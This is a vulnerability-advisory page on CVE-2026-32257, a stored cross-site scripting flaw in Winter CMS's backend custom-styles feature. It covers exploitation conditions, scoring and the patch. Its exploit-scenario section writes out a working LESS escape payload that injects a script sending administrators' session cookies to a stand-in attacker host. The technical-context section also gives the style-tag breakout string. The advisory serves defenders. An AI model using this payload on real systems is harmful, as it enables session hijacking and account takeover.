Skip to main content

Winter CMS CVE-2026-32257

| EUVDEUVD-2026-66632 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-12 https://github.com/wintercms/winter GHSA-v7cf-8gh9-gxmj
8.1
CVSS 3.1 · Vendor: https://github.com/wintercms/winter
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to backend with manage_branding permission
  2. Delivery
    Inject malicious LESS escape payload via Settings
  3. Exploit
    Customize Backend
  4. Install
    Styles
  5. C2
    CSS compiled and stored in database unsanitized
  6. Execute
    Victim admin loads any backend page
  7. Impact
    Injected script executes in victim's browser context
  8. Step 8
    Session token or credentials exfiltrated to attacker-controlled server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated backend account with the backend.manage_branding permission (for BrandSetting) or the backend.manage_editor permission (for EditorSetting) - both are administrative-level permissions that must be explicitly granted in Winter CMS. A second condition is required for impact: at least one other authenticated backend user must load any backend page after the malicious CSS is saved. Exploitation is therefore limited to insider-threat or compromised-admin scenarios; external unauthenticated attackers cannot trigger this path. The CVSS PR:H metric confirms the high-privilege prerequisite. Non-backend (frontend) users are unaffected. Systems where the backend.manage_branding permission is restricted exclusively to fully trusted, dedicated admin accounts face materially lower risk.

Impact

The vendor-assigned CVSS 8.1 (PR:H, UI:R, S:C, C:H, I:H) is technically defensible for a scope-changing stored XSS but overstates practical risk in most deployments. PR:H correctly reflects that an account with backend.manage_branding is required - a permission the vendor explicitly states should only be granted to trusted admins. Real-world risk is therefore bounded by the insider-threat model: the most plausible scenario is privilege escalation from a lower-trust admin to a full-session-hijack of a higher-trust admin. EPSS data was not provided; given no KEV listing and no public POC, opportunistic exploitation by external attackers is unlikely. The key risk signal is the scope change (S:C): a single compromised low-scope admin account can silently compromise all backend users on each page load, making this a meaningful threat in multi-tenant or shared-backend environments where branding permissions are more broadly distributed.

Exploit ScenarioDerived

A low-trust backend administrator granted the backend.manage_branding permission navigates to Settings → Customize Backend → Styles and enters a malicious LESS snippet such as .x { content: ~"</style><script>document.location='https://attacker.example/steal?c='+document.cookie</script><style>"; }. The payload is saved to the database and compiled by the LESS parser; because the output was not sanitized, the <script> block is injected into every backend page response. When a higher-privileged administrator subsequently loads any backend page, their session cookie is exfiltrated. No public POC has been identified, but the test case provided in the patch commit demonstrates the precise LESS escape syntax required.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Stored XSS in Winter CMS backend allows a high-privileged user with the backend.manage_branding permission to inject malicious HTML/JavaScript via the LESS CSS compiler's output in Settings → Customize Backend → Styles, which is rendered unsanitized on every backend page. The same rendering flaw is present in the Editor Settings → Markup Styles panel (backend.manage_editor permission), addressed in the same patch. An attacker exploiting this could steal session tokens or perform actions as any other authenticated backend user who visits a backend page. No public exploit or KEV listing exists, but the issue is confirmed by the vendor and an identical CVE (CVE-2025-61676) affects the sister project October CMS.

RemediationAI

Upgrade to Winter CMS backend module v1.2.13, which is the vendor-confirmed patched release. If an immediate upgrade is not possible, manually apply commit d28f0b9474af79cfaa80eeb9d691f7a7c4469720, which adds strip_tags() to the renderCss() method in both modules/backend/models/BrandSetting.php and modules/backend/models/EditorSetting.php. As a compensating control, revoke the backend.manage_branding and backend.manage_editor permissions from any accounts that do not strictly require them - the vendor already recommends limiting these permissions to trusted developers only. Note that strip_tags() is a minimal mitigation and does not sanitize all possible XSS vectors in CSS; upgrading remains the definitive fix. Advisory: https://github.com/wintercms/winter/security/advisories/GHSA-v7cf-8gh9-gxmj.

Affected VersionsENISA

winter < 1.2.13

Affected Packages

composer winter/wn-backend-module fix: 1.2.13
euvd winter fix: 1.2.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Winter CMS is a PHP-based CMS (composer package winter/wn-backend-module) that uses the LESS CSS preprocessor to compile user-supplied custom styles stored in BrandSetting and EditorSetting models. LESS supports an escape syntax (~"...") that allows raw string interpolation into compiled output. Because the compiled CSS string was returned directly from renderCss() without sanitization, a user could embed </style><script>alert(1)</script><style> via the LESS escape construct, breaking out of the CSS context into executable HTML. CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS) is the root cause class. The fix, confirmed in commit d28f0b9, applies PHP's strip_tags() to the compiled CSS output in both BrandSetting::renderCss() and EditorSetting::renderCss().

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/wintercms/winter) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.1 HIGH

PR:H reflects mandatory manage_branding privilege; UI:R requires victim admin to load a backend page; S:C and C:H/I:H capture full session compromise of other users.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/wintercms/winter).

CVSS VectorVendor: https://github.com/wintercms/winter

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Impact

Users with the backend.manage_branding ("Customize the back-end") permission can provide custom CSS through Settings → Customize Backend → Styles that is compiled through the LESS CSS parser and rendered on every backend page. Previously, the compiled output was not sanitized, which could have allowed a stored XSS attack.

Although this is a valid security issue, it's important to note that its severity is relatively low. To exploit the vulnerability, an attacker would already need to have trusted access to the Winter CMS backend with a specific administrative permission. The Winter CMS maintainers recommend that the backend.manage_branding permission only be granted to trusted administrators and developers.

A related issue exists in the custom styles field at Settings → Editor Settings → Markup Styles (backend.manage_editor permission), which uses the same rendering mechanism and is addressed separately.

All users are advised to update to the latest version to ensure their systems remain secure.

Patches

This issue has been patched in v1.2.13.

Workarounds

Apply https://github.com/wintercms/winter/commit/d28f0b9474af79cfaa80eeb9d691f7a7c4469720 manually if unable to upgrade to v1.2.13.

Resources

  • CVE-2025-61676 (identical vulnerability in October CMS, patched in v3.7.13 and v4.0.12)

Executive ViewAI

Why It Matters

Winter CMS backend contains a stored cross-site scripting vulnerability that allows users with branding or editor permissions to inject malicious code affecting all backend staff. When other administrators access pages containing injected content, attackers could steal their session tokens or impersonate them for unauthorized actions. This creates direct risk to backend integrity and any systems or data accessible through compromised staff accounts.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Low
niche PHP CMS, far smaller footprint than WordPress or Joomla
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy